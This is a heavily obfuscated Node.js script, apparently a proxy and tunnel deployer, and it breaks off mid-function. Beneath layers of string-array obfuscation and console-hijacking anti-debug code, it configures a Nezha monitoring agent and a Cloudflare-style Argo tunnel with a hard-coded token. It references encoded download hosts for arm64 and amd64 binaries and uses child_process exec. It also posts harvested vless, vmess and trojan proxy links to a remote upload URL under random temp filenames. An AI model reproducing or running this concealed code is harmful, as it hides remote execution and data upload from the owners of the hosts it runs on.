_0x38d0c2(_0x1456cc,_0x995fd4,_0x1d6455,_0x479230){return _0x234a81(_0x1456cc-0x130,_0x995fd4,_0x1d6455-0x16f,_0x1456cc- -0x57f);}return _0x52ead7[_0x38d0c2(-0x23c,-0x2a6,-0x393,-0x274)](_0xee8a9b,_0x14b9c7);},'TuuaZ':function(_0x3503d1,_0x3dbf24){function _0x53839e(_0x4be709,_0x244bb0,_0x23b8d3,_0x2a1535){return _0x234a81(_0x4be709-0x183,_0x23b8d3,_0x23b8d3-0x5a,_0x2a1535-0x64);}return _0x52ead7[_0x53839e(0x403,0x43f,0x5f1,0x535)](_0x3503d1,_0x3dbf24);},'vdmor':_0x52ead7[_0x4cdf9e(0x609,0x72b,0x6d0,0x799)],'raazw':_0x52ead7[_0x234a81(0x295,0x27d,0x377,0x3a7)],'DCzUS':function(_0xdbfe70){function _0x19adf6(_0x5cf8d0,_0x34e2c2,_0x56fe22,_0x268a0c){return _0x234a81(_0x5cf8d0-0x83,_0x5cf8d0,_0x56fe22-0x5c,_0x34e2c2- -0x101);}return _0x52ead7[_0x19adf6(0x18a,0x29f,0x37e,0x229)](_0xdbfe70);},'tEsEX':_0x52ead7[_0x4cdf9e(0x658,0x616,0x739,0x790)],'dErQc':_0x52ead7['DuGCu'],'lOsLS':_0x52ead7[_0x4cdf9e(0x509,0x5a3,0x4c0,0x43d)],'cUxJX':_0x234a81(0x469,0x5a3,0x606,0x517),'SLUpR':_0x234a81(0x270,0x4ab,0x331,0x38f),'pKSpY':function(_0x5f229b,_0x57add1){function _0x26547b(_0x59fb35,_0x3700ec,_0x17113f,_0x15b912){return _0x4cdf9e(_0x59fb35-0x1cd,_0x3700ec-0x11f,_0x15b912- -0x23d,_0x17113f);}return _0x52ead7[_0x26547b(0x305,0x233,0x250,0x290)](_0x5f229b,_0x57add1);}};if(_0x52ead7['buuDU']('UmWeK',_0x52ead7[_0x4cdf9e(0x40f,0x555,0x4bf,0x549)])){const _0x7d0dac=_0x41d856?function(){function _0x5539f2(_0x1814c6,_0x25a62e,_0x911a27,_0x22763a){return _0x4cdf9e(_0x1814c6-0x1cd,_0x25a62e-0x4d,_0x25a62e- -0x426,_0x22763a);}function _0x438a92(_0x5dfc06,_0xe71218,_0x1e23f9,_0x52e42a){return _0x4cdf9e(_0x5dfc06-0x156,_0xe71218-0x157,_0x5dfc06- -0x27,_0x52e42a);}if(_0x2f01c9){if(_0x19a5fe['ZHtVd'](_0x19a5fe[_0x5539f2(0x137,0x1b0,0xeb,0xfc)],_0x19a5fe[_0x5539f2(0x112,0x198,0x28b,0x22d)])){const _0x2d4ec8=_0x2f01c9[_0x438a92(0x4ac,0x5e9,0x439,0x348)](_0x3868fc,arguments);return _0x2f01c9=null,_0x2d4ec8;}else _0xcdcd16[_0x438a92(0x70d,0x799,0x763,0x69c)](_0x19a5fe[_0x438a92(0x4cc,0x535,0x59f,0x58f)],_0x3a6bde);}}:function(){};return _0x41d856=![],_0x7d0dac;}else{let _0x159606;try{const _0x30de42=_0x615bc(_0x19a5fe[_0x4cdf9e(0x614,0x5a4,0x6b2,0x7e9)](_0x19a5fe[_0x234a81(0x57c,0x601,0x5a9,0x5c3)](_0x19a5fe['vdmor'],_0x19a5fe[_0x234a81(0x4c6,0x3ad,0x3a5,0x49d)]),');'));_0x159606=_0x19a5fe[_0x4cdf9e(0x610,0x453,0x571,0x598)](_0x30de42);}catch(_0x3a0542){_0x159606=_0x5e3958;}const _0x3bda46=_0x159606[_0x4cdf9e(0x491,0x5f8,0x541,0x407)]=_0x159606[_0x4cdf9e(0x457,0x578,0x541,0x658)]||{},_0x2764c7=['log',_0x234a81(0x4ee,0x577,0x607,0x55e),_0x19a5fe[_0x4cdf9e(0x669,0x6c3,0x65e,0x6d3)],_0x19a5fe[_0x4cdf9e(0x658,0x6db,0x6d6,0x60c)],_0x19a5fe[_0x4cdf9e(0x823,0x797,0x6b9,0x5c4)],_0x19a5fe[_0x4cdf9e(0x778,0x766,0x701,0x5e2)],_0x19a5fe[_0x4cdf9e(0x5b1,0x61b,0x53f,0x408)]];for(let _0x202080=-0x169d+0x9*-0x36d+0x3572;_0x19a5fe[_0x4cdf9e(0x71b,0x6d7,0x704,0x74c)](_0x202080,_0x2764c7[_0x4cdf9e(0x4cf,0x619,0x5cd,0x68e)]);_0x202080++){const _0x49e9fc=_0x5a874d[_0x4cdf9e(0x5b9,0x4b9,0x593,0x5f0)+'r'][_0x234a81(0x453,0x436,0x494,0x356)][_0x234a81(0x5ce,0x656,0x655,0x5de)](_0x41498e),_0x2a5238=_0x2764c7[_0x202080],_0x31a7a9=_0x3bda46[_0x2a5238]||_0x49e9fc;_0x49e9fc[_0x4cdf9e(0x632,0x586,0x6a4,0x5a1)]=_0x17df7a[_0x4cdf9e(0x661,0x697,0x74a,0x872)](_0x390740),_0x49e9fc[_0x234a81(0x390,0x338,0x3ab,0x47a)]=_0x31a7a9[_0x234a81(0x392,0x5a8,0x57b,0x47a)][_0x4cdf9e(0x782,0x65f,0x74a,0x79c)](_0x31a7a9),_0x3bda46[_0x2a5238]=_0x49e9fc;}}};}());function _0x282096(_0x35a5e6,_0x355473,_0x2e3971,_0x7bc1c1){return _0x3323(_0x2e3971- -0xc3,_0x7bc1c1);}const _0x56ee2e=_0x425ad1(this,function(){const _0x282272={};_0x282272[_0x2ce655(0x35,0x203,0x1ed,0x11b)]=_0x2ce655(0xe5,-0xa7,0x91,-0x26)+'+$';function _0x37d48f(_0x596263,_0x254242,_0x1b7fcc,_0x3d13ab){return _0x3323(_0x596263- -0x394,_0x254242);}const _0x1fd36f=_0x282272;function _0x2ce655(_0x6b4016,_0x549581,_0x2eadc8,_0x32106a){return _0x3323(_0x32106a- -0x252,_0x2eadc8);}return _0x56ee2e['toString']()[_0x37d48f(-0x72,-0x142,0xf5,-0xb)](_0x1fd36f[_0x37d48f(-0x27,-0xc1,-0x95,0xf9)])[_0x2ce655(-0x6,-0x32,-0x32,0x10)]()[_0x2ce655(0x26,0x85,-0x30,-0x43)+'r'](_0x56ee2e)[_0x2ce655(0x1a6,0xd,0xf8,0xd0)](_0x37d48f(-0x168,-0x163,-0x1f8,-0x1f9)+'+$');});_0x56ee2e();const _0x7d05b5=(function(){function _0x4a9c1b(_0x3b3231,_0x24f45d,_0x1489bb,_0x11562d){return _0x3323(_0x11562d-0x278,_0x3b3231);}const _0x47b81c={};_0x47b81c[_0x4a9c1b(0x2ab,0x4fd,0x33d,0x3c4)]=_0x34d82d(0x3bd,0x2d0,0x2eb,0x350)+'d64.ssss.n'+_0x34d82d(0x1d3,0x254,0x3ec,0x2d4),_0x47b81c[_0x4a9c1b(0x2f6,0x3f5,0x590,0x452)]='nSlPN',_0x47b81c['QMvJZ']=function(_0x253fc5,_0xac6037){return _0x253fc5!==_0xac6037;},_0x47b81c[_0x34d82d(0x13e,0x331,0x299,0x26e)]='AjQFD',_0x47b81c[_0x4a9c1b(0x4ba,0x4a4,0x54f,0x4c6)]=_0x34d82d(0x238,0x88,0x1e4,0x1d3)+'m64.ssss.n'+_0x4a9c1b(0x408,0x3e3,0x2ce,0x412)+'t',_0x47b81c[_0x4a9c1b(0x58f,0x5de,0x41f,0x50f)]=_0x34d82d(0x3ed,0x4b8,0x25d,0x350)+_0x34d82d(0x1a6,0x1a6,0x187,0x17e)+_0x34d82d(0x25d,0x27c,0x1c,0x17c)+'t';const _0x3a3ab0=_0x47b81c;function _0x34d82d(_0x1bfb62,_0x51751a,_0x86070e,_0x568280){return _0x3323(_0x568280- -0x1e,_0x51751a);}let _0x4897f4=!![];return function(_0x234725,_0x1ab7fd){const _0x3effd4={};_0x3effd4[_0x417fe8(0x1e4,0x2a6,0x23f,0x265)]=function(_0x10006e,_0x43bd90){return _0x10006e===_0x43bd90;},_0x3effd4['xuxIi']='arm',_0x3effd4['kcuKD']=_0x3a3ab0[_0x417fe8(0x233,0x302,0x35a,0x2f1)],_0x3effd4[_0x417fe8(0xbd,0x14e,0x196,0x217)]=_0x3a3ab0['RoXTw'];const _0x22f6e2=_0x3effd4;function _0x417fe8(_0x3d2dae,_0x3fdc1c,_0x34cfaa,_0x36c90a){return _0x34d82d(_0x3d2dae-0xda,_0x3d2dae,_0x34cfaa-0x45,_0x36c90a-0xc1);}const _0xcb53d5=_0x4897f4?function(){function _0xbbd7b1(_0x55e6f1,_0x46959c,_0x6e7d15,_0x564a19){return _0x4b39bd(_0x564a19,_0x46959c-0x68,_0x46959c-0x33c,_0x564a19-0xbc);}const _0xca89d7={};_0xca89d7[_0xccd7b7(0x334,0x341,0x2e1,0x3bd)]=_0x3a3ab0[_0xbbd7b1(0x123,0xbf,-0x87,0x89)];function _0xccd7b7(_0x1fc2fc,_0x3e4106,_0x1ddfc0,_0x1b5117){return _0x417fe8(_0x1b5117,_0x3e4106-0xba,_0x1ddfc0-0x18a,_0x3e4106- -0x105);}_0xca89d7[_0xbbd7b1(0x134,0x175,0x94,0x3f)]=_0xccd7b7(0x397,0x30c,0x212,0x42f)+_0xbbd7b1(0xa9,0x10f,0x14e,0xbf)+_0xbbd7b1(0x43e,0x2d6,0x181,0x18a);const _0xd032b6=_0xca89d7;if(_0xccd7b7(0x16c,0x227,0xd4,0x2df)===_0x3a3ab0['BOZkp']){const _0x37ca85={};_0x37ca85[_0xbbd7b1(0x3d3,0x2a9,0x37d,0x21c)]=_0x4798f1,_0x37ca85[_0xbbd7b1(0x411,0x350,0x25b,0x252)]=_0xd032b6[_0xbbd7b1(0x3ea,0x316,0x1fa,0x334)];const _0x81c5b1={};_0x81c5b1[_0xccd7b7(0x2d4,0x2d4,0x18b,0x2eb)]=_0x2e0957,_0x81c5b1[_0xccd7b7(0x325,0x37b,0x372,0x4d3)]=_0xd032b6[_0xbbd7b1(0x139,0x175,0x271,0xc0)],_0x2532e4=[_0x37ca85,_0x81c5b1];}else{if(_0x1ab7fd){if(_0x3a3ab0[_0xccd7b7(0x1a4,0x298,0x2ab,0x3a6)](_0x3a3ab0[_0xbbd7b1(0x351,0x1ff,0x2b4,0x308)],_0x3a3ab0[_0xccd7b7(0xc7,0x22a,0x37c,0x1e2)])){const _0xcf511c=_0x22f6e2[_0xbbd7b1(0xf4,0x135,0x191,-0x7)](_0x29cc54,_0x22f6e2['xuxIi'])?_0x22f6e2[_0xccd7b7(0x26c,0x346,0x3e7,0x1f5)]:_0x22f6e2[_0xbbd7b1(0x20c,0xe7,0x132,0x64)],_0x30072f={};_0x30072f[_0xbbd7b1(0x384,0x2a9,0x14f,0x2f0)]=_0x428491,_0x30072f[_0xccd7b7(0x387,0x37b,0x2ea,0x3b9)]=_0xcf511c,_0x4550e9[_0xbbd7b1(0x1ae,0x25d,0x3c0,0x194)](_0x30072f);}else{const _0xdcdff3=_0x1ab7fd[_0xccd7b7(0x7d,0xed,0x18e,0x1d8)](_0x234725,arguments);return _0x1ab7fd=null,_0xdcdff3;}}}}:function(){};function _0x4b39bd(_0x325d34,_0x1090ad,_0x2ffb89,_0x5d5689){return _0x4a9c1b(_0x325d34,_0x1090ad-0x16f,_0x2ffb89-0x8b,_0x2ffb89- -0x641);}return _0x4897f4=![],_0xcb53d5;};}()),_0x27f2fa=_0x7d05b5(this,function(){const _0x4fd86f={'QOmuC':function(_0x1c1e4d,_0x251ad6){return _0x1c1e4d(_0x251ad6);},'RmVxB':function(_0x2e4768,_0x3d5edb){return _0x2e4768+_0x3d5edb;},'YMFHR':function(_0x252aca,_0x320be6){return _0x252aca+_0x320be6;},'cphsx':_0xaf2f2b(0x35,0x16b,0x191,0x112)+_0xaf2f2b(0xf9,0x1dd,0xf8,0x86),'Ahgpp':_0x4d2fe6(0x52c,0x344,0x3f3,0x3af)+_0x4d2fe6(0x13a,0x358,0x29e,0x200)+_0xaf2f2b(-0x5b,0xe0,0x102,0x29)+'\x20)','TEYmp':function(_0x238097){return _0x238097();},'RuhtS':'log','KdAFR':_0xaf2f2b(-0xa9,-0x7a,-0x82,0x53),'Aaydu':_0xaf2f2b(-0x1b4,-0x13d,-0xf4,-0x122),'KDOLR':_0x4d2fe6(0x2d0,0x439,0x377,0x2e4),'Obwbv':function(_0xd67573,_0x57168e){return _0xd67573<_0x57168e;}};let _0x2e2378;try{const _0x346028=_0x4fd86f['QOmuC'](Function,_0x4fd86f[_0xaf2f2b(0x25,0xbd,0x240,0x144)](_0x4fd86f[_0xaf2f2b(0x3b,-0x263,-0x7c,-0x10a)](_0x4fd86f[_0xaf2f2b(-0x154,-0x7b,0x123,-0x13)],_0x4fd86f[_0x4d2fe6(0x49b,0x365,0x3bd,0x3d2)]),');'));_0x2e2378=_0x4fd86f[_0x4d2fe6(0x4ee,0x2be,0x390,0x3fa)](_0x346028);}catch(_0x3e64fd){_0x2e2378=window;}function _0x4d2fe6(_0x3e144e,_0xf53e76,_0x57cd71,_0x4e33af){return _0x3323(_0x57cd71-0x78,_0xf53e76);}const _0x43f87f=_0x2e2378['console']=_0x2e2378[_0xaf2f2b(-0x78,-0x4f,0x12,-0xc6)]||{};function _0xaf2f2b(_0x232b28,_0x39cc86,_0x25bc8c,_0x47cd31){return _0x3323(_0x47cd31- -0x283,_0x25bc8c);}const _0xaaa560=[_0x4fd86f[_0xaf2f2b(0xc9,-0xa8,0x53,0x4)],_0x4d2fe6(0x2a5,0x415,0x3be,0x358),_0x4fd86f['KdAFR'],_0xaf2f2b(0x1e,0x25b,0x163,0x12d),_0x4fd86f[_0xaf2f2b(-0x16,-0x95,-0x13e,-0xb9)],_0x4fd86f[_0xaf2f2b(0x6b,0xb0,0x3c,0x6b)],_0xaf2f2b(-0x34,0x57,-0x1b8,-0x10c)];for(let _0x7af2bd=0x15dd+-0x1522+0xbb*-0x1;_0x4fd86f['Obwbv'](_0x7af2bd,_0xaaa560['length']);_0x7af2bd++){const _0x384bb7=_0x7d05b5[_0x4d2fe6(0x1dc,0x273,0x287,0x161)+'r'][_0x4d2fe6(0x1fb,0xb9,0x1b6,0x161)]['bind'](_0x7d05b5),_0x40dec1=_0xaaa560[_0x7af2bd],_0x1ed458=_0x43f87f[_0x40dec1]||_0x384bb7;_0x384bb7[_0xaf2f2b(-0x9,0x4e,0x196,0x9d)]=_0x7d05b5[_0xaf2f2b(0xb6,0x274,0x18f,0x143)](_0x7d05b5),_0x384bb7[_0xaf2f2b(-0x176,0x34,0xcd,-0x21)]=_0x1ed458[_0xaf2f2b(-0x70,-0x112,-0x14f,-0x21)]['bind'](_0x1ed458),_0x43f87f[_0x40dec1]=_0x384bb7;}});_0x27f2fa();const express=require(_0x2e882e(0x540,0x5c8,0x49b,0x69d)),app=express(),axios=require(_0x2e882e(0x62a,0x6d7,0x5d9,0x5d1)),os=require('os'),fs=require('fs'),path=require(_0x282096(0x1f2,0x443,0x2dc,0x31e)),{promisify}=require(_0x2e882e(0x610,0x5af,0x625,0x583)),exec=promisify(require('child_proc'+'ess')['exec']),{execSync}=require('child_proc'+_0x282096(0x7c,0x5b,0x174,0x2cb)),UPLOAD_URL=process[_0x2e882e(0x395,0x2da,0x2d0,0x38c)][_0x282096(0x2f4,0x33e,0x2ae,0x1d2)]||'';function _0x2e882e(_0x1a2ab6,_0x474521,_0x3b37a3,_0x2f8e2f){return _0x3323(_0x1a2ab6-0x26f,_0x474521);}const PROJECT_URL=process['env'][_0x282096(-0x9d,-0x79,0x56,0x130)+'L']||'',AUTO_ACCESS=process['env'][_0x2e882e(0x52f,0x63a,0x527,0x429)+'S']||![],FILE_PATH=process[_0x2e882e(0x395,0x3ef,0x4f9,0x45b)][_0x2e882e(0x614,0x6e9,0x60e,0x6fb)]||'./tmp',SUB_PATH=process[_0x282096(-0xe2,0x7,0x63,0xfd)][_0x2e882e(0x454,0x323,0x459,0x339)]||_0x2e882e(0x444,0x432,0x3df,0x337),PORT=process['env'][_0x2e882e(0x5fe,0x566,0x5b3,0x4ec)+'T']||process[_0x282096(-0x8b,-0xbf,0x63,0x83)]['PORT']||-0x1084+-0xc5d+-0x2899*-0x1,UUID=process[_0x282096(-0x54,0x17a,0x63,0xa1)][_0x282096(0x36e,0x278,0x297,0x300)]||_0x2e882e(0x3a9,0x4b5,0x40c,0x3e4)+_0x282096(0x64,-0x55,0x90,-0x78)+_0x282096(0x382,0x29d,0x23f,0x1b9)+_0x282096(0x2ff,0x121,0x21a,0x340),NEZHA_SERVER=process[_0x2e882e(0x395,0x415,0x427,0x4c4)][_0x282096(0x3bc,0x18b,0x2a6,0x269)+'ER']||'',NEZHA_PORT=process['env'][_0x2e882e(0x478,0x449,0x374,0x41b)]||'',NEZHA_KEY=process[_0x2e882e(0x395,0x2e3,0x2a1,0x43d)][_0x282096(0x12c,0xf7,0xc9,0x221)]||'',ARGO_DOMAIN=process[_0x282096(-0xd9,0xf,0x63,-0xa1)][_0x282096(0x169,0x1c1,0x17e,0x1e5)+'N']||_0x2e882e(0x3da,0x4e3,0x50b,0x3d7)+_0x282096(0x1b2,0x27e,0x23b,0x1c0)+_0x282096(0xbf,0x4b,0x1a2,0x280),ARGO_AUTH=process[_0x2e882e(0x395,0x2cd,0x46a,0x457)][_0x282096(0x31,0x151,0xb2,0x28)]||_0x2e882e(0x3a2,0x367,0x2dd,0x322)+_0x282096(0x149,0x20e,0x123,-0x5)+_0x2e882e(0x479,0x315,0x3ea,0x3f7)+_0x2e882e(0x50e,0x53d,0x44b,0x48a)+'MjVmYWIyYz'+'giLCJ0Ijoi'+_0x2e882e(0x4cc,0x5ed,0x5b7,0x367)+_0x2e882e(0x595,0x63e,0x505,0x49b)+_0x2e882e(0x623,0x664,0x560,0x6e2)+'UtZTNiN2M5'+_0x282096(0x69,0xfd,0x13b,0x18)+_0x282096(0x243,0x20,0xdd,0x3)+_0x2e882e(0x5cd,0x6bd,0x6d1,0x55e)+'RNdFpXRTJO'+'eTAwTkRjNE'+_0x2e882e(0x56a,0x4a2,0x55e,0x4f7)+_0x2e882e(0x3dd,0x45a,0x515,0x276)+_0x282096(0x128,0x1d3,0x20d,0x1c5)+_0x2e882e(0x5e3,0x518,0x4eb,0x495),ARGO_PORT=process['env'][_0x2e882e(0x401,0x426,0x39e,0x4f4)]||-0x1009d+0xfcd+0x18ab1,CFIP=process['env']['CFIP']||_0x2e882e(0x462,0x4be,0x49b,0x32a)+_0x282096(0x2c7,0x27b,0x2c8,0x3de),CFPORT=process[_0x2e882e(0x395,0x390,0x317,0x29b)][_0x2e882e(0x49d,0x338,0x3e0,0x4f7)]||-0x1cd*-0xf+0x262*0x10+-0x3f68,NAME=process[_0x2e882e(0x395,0x416,0x4d1,0x3ca)]['NAME']||_0x2e882e(0x3a1,0x284,0x3d9,0x3c4);function _0x3323(_0x5a65bb,_0x271f27){const _0x327495=_0x3591();return _0x3323=function(_0x55454d,_0x30c9f4){_0x55454d=_0x55454d-(0x12f8+0x1d86+-0x2f68);let _0x125c71=_0x327495[_0x55454d];if(_0x3323['gHZmAu']===undefined){var _0x25794d=function(_0x5ee03d){const _0x25a749='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0xcf8e45='',_0x28f94='',_0x15f313=_0xcf8e45+_0x25794d;for(let _0x4e8e86=-0x2516+0x1*-0x9b6+0x1*0x2ecc,_0x13b1a9,_0x3c4694,_0x43608a=-0xc5*-0x9+0x1*-0x2675+0x1f88;_0x3c4694=_0x5ee03d['charAt'](_0x43608a++);~_0x3c4694&&(_0x13b1a9=_0x4e8e86%(-0x133+-0x535+-0x2*-0x336)?_0x13b1a9*(-0x8b*-0xc+0x9e*0x7+-0xa96)+_0x3c4694:_0x3c4694,_0x4e8e86++%(0x1fbf+0x1e0e+-0x3dc9*0x1))?_0xcf8e45+=_0x15f313['charCodeAt'](_0x43608a+(0x1f2*0x1+0x257*-0x1+-0x6f*-0x1))-(-0x18b9+-0x39*0x2f+0x233a)!==0x1*0x12c7+0x2e6*-0x6+-0x163?String['fromCharCode'](0x11*0x23a+-0x16d0+0xe0b*-0x1&_0x13b1a9>>(-(0x14d+0x1*-0x16c6+0x157b)*_0x4e8e86&0xdf5+0x1c76+-0x2a65)):_0x4e8e86:-0x8e*0x5+-0x2*-0x466+0x202*-0x3){_0x3c4694=_0x25a749['indexOf'](_0x3c4694);}for(let _0xb35e73=0x8df*0x2+-0x48f*0x1+-0xd2f,_0x166d5b=_0xcf8e45['length'];_0xb35e73<_0x166d5b;_0xb35e73++){_0x28f94+='%'+('00'+_0xcf8e45['charCodeAt'](_0xb35e73)['toString'](0x1bb*0x11+-0x1b4b+-0x210))['slice'](-(0xf8a+0xaed*-0x2+-0x1*-0x652));}return decodeURIComponent(_0x28f94);};_0x3323['vWjEQa']=_0x25794d,_0x5a65bb=arguments,_0x3323['gHZmAu']=!![];}const _0x472fcf=_0x327495[-0x7*0x23d+-0x1b4a*0x1+0x2af5],_0x40ebf0=_0x55454d+_0x472fcf,_0x2c1bb0=_0x5a65bb[_0x40ebf0];if(!_0x2c1bb0){const _0x1f5820=function(_0x3a9a14){this['rYsGeX']=_0x3a9a14,this['wxVXIE']=[0x187b*0x1+-0x26c3+0xe49,0x7*0x419+0x250e+0x1*-0x41bd,0x327*0x3+0xcb+0x520*-0x2],this['FSPScj']=function(){return'newState';},this['HJrMDY']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*',this['zqORLF']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0x1f5820['prototype']['EnxvKh']=function(){const _0x5a9198=new RegExp(this['HJrMDY']+this['zqORLF']),_0x4e3af1=_0x5a9198['test'](this['FSPScj']['toString']())?--this['wxVXIE'][-0x2*0x562+-0x1ad5+0x2*0x12cd]:--this['wxVXIE'][0x4*0x3fd+-0xb*-0x1d8+0x243c*-0x1];return this['ctafkw'](_0x4e3af1);},_0x1f5820['prototype']['ctafkw']=function(_0x273615){if(!Boolean(~_0x273615))return _0x273615;return this['aItmAY'](this['rYsGeX']);},_0x1f5820['prototype']['aItmAY']=function(_0x489925){for(let _0x3da8c9=-0x2411+-0x1b*0x69+-0x1792*-0x2,_0x3940b6=this['wxVXIE']['length'];_0x3da8c9<_0x3940b6;_0x3da8c9++){this['wxVXIE']['push'](Math['round'](Math['random']())),_0x3940b6=this['wxVXIE']['length'];}return _0x489925(this['wxVXIE'][-0x1243+-0x14c2+0x2705]);},new _0x1f5820(_0x3323)['EnxvKh'](),_0x125c71=_0x3323['vWjEQa'](_0x125c71),_0x5a65bb[_0x40ebf0]=_0x125c71;}else _0x125c71=_0x2c1bb0;return _0x125c71;},_0x3323(_0x5a65bb,_0x271f27);}!fs[_0x282096(0x256,0x203,0x279,0x112)](FILE_PATH)?(fs[_0x282096(0x238,0x1ff,0x288,0x302)](FILE_PATH),console[_0x2e882e(0x507,0x573,0x520,0x3f4)](FILE_PATH+(_0x282096(0x2a8,0x2fd,0x30a,0x43e)+'d'))):console[_0x282096(0x194,0x33a,0x1d5,0x23f)](FILE_PATH+(_0x2e882e(0x615,0x696,0x737,0x56c)+'xists'));function generateRandomName(){function _0x507161(_0x49a7fc,_0x262144,_0x41921c,_0xe7e1c2){return _0x2e882e(_0xe7e1c2- -0x193,_0x49a7fc,_0x41921c-0xd9,_0xe7e1c2-0x137);}const _0x5c56ac={};_0x5c56ac[_0x507161(0x1d8,0x343,0x2ba,0x306)]=_0x4e667b(0x3ab,0x3cf,0x416,0x454)+'klmnopqrst'+_0x4e667b(0x38d,0x4ac,0x302,0x36c);function _0x4e667b(_0x868e2,_0x65d99e,_0x2b1f98,_0x3b969c){return _0x282096(_0x868e2-0x44,_0x65d99e-0x97,_0x868e2-0x21a,_0x65d99e);}_0x5c56ac[_0x507161(0x230,0x23d,0x3f7,0x30f)]=function(_0x2dab5a,_0x425093){return _0x2dab5a<_0x425093;},_0x5c56ac[_0x507161(0x359,0x49c,0x3fa,0x3ed)]=function(_0x4f7e76,_0x2c39cd){return _0x4f7e76*_0x2c39cd;};const _0xcb8291=_0x5c56ac,_0x483ea3=_0xcb8291[_0x507161(0x336,0x2aa,0x425,0x306)];let _0x12f933='';for(let _0x1e7144=0x2*0x63f+0x214f*0x1+0x19*-0x1d5;_0xcb8291[_0x507161(0x38e,0x353,0x306,0x30f)](_0x1e7144,-0x2*-0x343+-0x14b*-0x19+-0x26d3);_0x1e7144++){_0x12f933+=_0x483ea3[_0x4e667b(0x4be,0x4e6,0x3b5,0x5d7)](Math[_0x4e667b(0x373,0x293,0x30b,0x349)](_0xcb8291[_0x507161(0x35d,0x328,0x358,0x3ed)](Math[_0x507161(0x37f,0x30c,0x36d,0x464)](),_0x483ea3[_0x4e667b(0x3a0,0x3ec,0x465,0x2cf)])));}return _0x12f933;}const npmName=generateRandomName(),webName=generateRandomName(),botName=generateRandomName(),phpName=generateRandomName();let npmPath=path[_0x2e882e(0x452,0x442,0x3ed,0x4df)](FILE_PATH,npmName),phpPath=path[_0x2e882e(0x452,0x5b3,0x44c,0x2ed)](FILE_PATH,phpName),webPath=path[_0x282096(0x1c,0xad,0x120,0x3d)](FILE_PATH,webName),botPath=path[_0x2e882e(0x452,0x40c,0x3a2,0x34e)](FILE_PATH,botName),subPath=path[_0x2e882e(0x452,0x4ec,0x3d0,0x5ac)](FILE_PATH,'sub.txt'),listPath=path['join'](FILE_PATH,_0x282096(0x18a,0x176,0x1cb,0xb2)),bootLogPath=path[_0x282096(0x20,0xe6,0x120,0xd1)](FILE_PATH,'boot.log'),configPath=path['join'](FILE_PATH,_0x2e882e(0x5e4,0x4b0,0x632,0x70f)+'n');function deleteNodes(){function _0xfe5f6d(_0x232d65,_0xbc8a6e,_0x36a787,_0x46b3d5){return _0x282096(_0x232d65-0x6f,_0xbc8a6e-0x44,_0x46b3d5-0x17b,_0xbc8a6e);}const _0x52ab14={};_0x52ab14[_0x32b3a4(0x3a6,0x46f,0x4ec,0x439)]=_0xfe5f6d(0x29c,0x11d,0x3be,0x25a);function _0x32b3a4(_0x51c964,_0x4cbf91,_0x1ec8c7,_0x3d5083){return _0x282096(_0x51c964-0x132,_0x4cbf91-0x114,_0x3d5083-0x3a6,_0x1ec8c7);}_0x52ab14[_0x32b3a4(0x4f0,0x5ac,0x487,0x560)]=function(_0x12761e,_0x14ef67){return _0x12761e===_0x14ef67;},_0x52ab14[_0x32b3a4(0x50b,0x579,0x446,0x43e)]=_0xfe5f6d(0x54f,0x3de,0x4b3,0x470)+_0x32b3a4(0x63a,0x53e,0x5c9,0x51b);const _0x3c8b4b=_0x52ab14;try{if(!UPLOAD_URL)return;if(!fs[_0xfe5f6d(0x3c1,0x28a,0x467,0x3f4)](subPath))return;let _0xf9e58e;try{_0xf9e58e=fs[_0x32b3a4(0x530,0x607,0x60c,0x683)+'nc'](subPath,_0x3c8b4b['FlwmC']);}catch{return null;}const _0x42c320=Buffer[_0x32b3a4(0x3f7,0x347,0x331,0x448)](_0xf9e58e,_0x32b3a4(0x51b,0x4ac,0x403,0x428))[_0x32b3a4(0x493,0x481,0x4a8,0x545)](_0x3c8b4b[_0xfe5f6d(0x10a,0x339,0x317,0x20e)]),_0x53f104=_0x42c320['split']('\x0a')[_0x32b3a4(0x679,0x451,0x41b,0x55b)](_0xd2f78a=>/(vless|vmess|trojan|hysteria2|tuic):\/\//[_0x32b3a4(0x434,0x66f,0x3b3,0x50a)](_0xd2f78a));if(_0x3c8b4b[_0xfe5f6d(0x308,0x3ea,0x290,0x335)](_0x53f104['length'],0x3*-0x9b9+0x1dfa*0x1+-0x1*0xcf))return;const _0x4069b3={};_0x4069b3['nodes']=_0x53f104;const _0x5aa78e={};_0x5aa78e[_0x32b3a4(0x411,0x41c,0x4d9,0x4f4)+'pe']=_0x3c8b4b[_0x32b3a4(0x4c0,0x399,0x55a,0x43e)];const _0x2b61c2={};return _0x2b61c2[_0xfe5f6d(0x231,0xc3,0x218,0x202)]=_0x5aa78e,axios['post'](UPLOAD_URL+(_0xfe5f6d(0x44b,0x34d,0x4b4,0x3bb)+_0xfe5f6d(0x167,0x1e7,0x18b,0x205)),JSON[_0xfe5f6d(0x1b0,0x2ef,0x2d5,0x27c)](_0x4069b3),_0x2b61c2)['catch'](_0x5b67ae=>{return null;}),null;}catch(_0x197aad){return null;}}function cleanupOldFiles(){const _0x48c6ba={};_0x48c6ba[_0x17e480(0x6c7,0x4ce,0x623,0x614)]=_0x3a10f3(0x131,0x64,0x80,0x1aa)+_0x17e480(0x827,0x6d8,0x6e4,0x6bf)+'AUTH\x20varia'+_0x17e480(0x4d1,0x664,0x53b,0x55c)+_0x3a10f3(0xac,0x171,0xee,0x9a)+_0x3a10f3(0x168,-0x4f,0xfe,0x96)+'s',_0x48c6ba[_0x17e480(0x61d,0x536,0x582,0x570)]=_0x17e480(0x55a,0x501,0x3f9,0x50a)+'n';function _0x17e480(_0x5f2457,_0x3a7a15,_0x50dcef,_0x33f727){return _0x2e882e(_0x33f727-0xf5,_0x50dcef,_0x50dcef-0xf2,_0x33f727-0xc6);}_0x48c6ba[_0x17e480(0x621,0x454,0x566,0x571)]=_0x3a10f3(0x22a,0x317,0x323,0x27c);function _0x3a10f3(_0x1d3334,_0x115085,_0x30401b,_0x47f73e){return _0x282096(_0x1d3334-0xb3,_0x115085-0x51,_0x47f73e-0x2c,_0x30401b);}_0x48c6ba['uubIx']=_0x17e480(0x56c,0x6d8,0x5ab,0x660)+'mismatch\x20T'+_0x3a10f3(0x262,0x413,0x287,0x2d1)+_0x17e480(0x6bc,0x74a,0x4f9,0x633)+_0x17e480(0x75b,0x5e7,0x77c,0x74d)+'to\x20tunnel',_0x48c6ba[_0x17e480(0x593,0x676,0x6da,0x664)]=function(_0x36ceab,_0x1e1ac7){return 